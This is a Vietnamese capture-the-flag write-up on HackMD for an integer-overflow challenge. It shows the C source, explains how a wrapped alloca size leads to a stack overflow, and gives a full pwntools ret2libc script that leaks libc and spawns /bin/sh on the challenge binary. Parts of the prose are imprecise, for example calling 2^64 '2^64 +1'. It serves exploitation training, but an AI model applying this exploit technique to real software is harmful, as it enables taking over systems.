Try   HackMD

(writeup) Interger Overflow

iof1

  • kiểm tra các lớp bảo vệ

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • kiểm tra ida

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • source code nhận được
#include <stdio.h>
#include <alloca.h>
#include <unistd.h>

void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void read_str(char *buffer, unsigned long int n)
{
	char c;
	unsigned long int i = 0;
	while (i < n)
	{
		read(0, &c, 1);
		if (c == '\n')
			break;
		buffer[i] = c;
		i++;
	}
	buffer[i] = '\0';
}

int main()
{
	char *buffer;
	unsigned long int n;

	init();

	puts("Secret saver!");
	puts("How long is your secret?");
	printf("> ");
	scanf("%lu", &n);

	buffer = alloca(n*8);
	printf("Enter your secret: ");
	read_str(buffer, n);
}
  • phân tích:
  • đề bài yêu cầu ta nhập dữ liệu vào v6 rồi check thông qua 2 hàm whileif
  • sau khi nghe hint thì dc biết là 2 hàm kiểm tra đó là để abcxyz cho hàm alloca()
alloca() là hàm phân bổ stack ngăn xếp
nếu số trong () quá lớn, sẽ lãng phí hàng tấn bộ nhớ ngăn xếp
khả năng bị tràn ngăn xếp
chương trình vòng lặp không kết thúc
do truy cập bộ nhớ ngăn xếp liên tục
Segmentation fault (core dumped)
  • thông qua source code nhận được, ta đã hiểu rõ hơn về hàm alloca() hoạt động ra sao
  • nhận độ dài secret qua biến n với kiểu %lu, rồi alloca(n*8)
  • ta sẽ điền lớn hơn 1 byte từ độ dài của secret để tràn dư 1 byte để alloca() nhận số nhỏ

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

18446744073709551616 ~ 2^64 +1

  • và bài này k có hàm đọc flag hay get_shell gì cả cộng với nhận file ta có đính kèm 1 libc nên hướng đi là ret2libc
  • tìm thanh ghi cần thiết:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

0x00000000004013e3

  • vì sau khi nhập độ dài secret, ta nhìn thấy có khả năng thêm 1 lỗi BOF ngay lần nhập tiếp theo

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • nên để leak libc, ta leak ở lần nhập đầu tiên và thực thi lại hàm main

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • ta sẽ nhắm tới hàm puts vì k đòi hỏi nhiều về arg

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • lúc này ta leak dc libc

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • tìm offset để tìm libc base

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • script:
#!/usr/bin/env python3

from pwn import *

context.binary = exe = ELF("./iof1_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.31.so",checksec=False)

p = process(exe.path)

pop_rdi = 0x00000000004013e3

p.recvline()
p.recvline()

payload = b'18446744073709551616'

p.sendlineafter(b'> ', payload)

payload = b'A'*0x18
payload += p64(pop_rdi) + p64(exe.got['puts']) 
payload += p64(exe.plt['puts']) +p64(exe.sym['main'])

p.sendlineafter(b'secret: ',payload)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 492448
log.info("libc_leak: " + hex(libc_leak))
log.info("libc_base: " + hex(libc.address))

payload = b'18446744073709551616'

#input()

p.sendlineafter(b'> ', payload)

payload = b'A'*0x18
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])

p.sendlineafter(b'secret: ',payload)

p.interactive()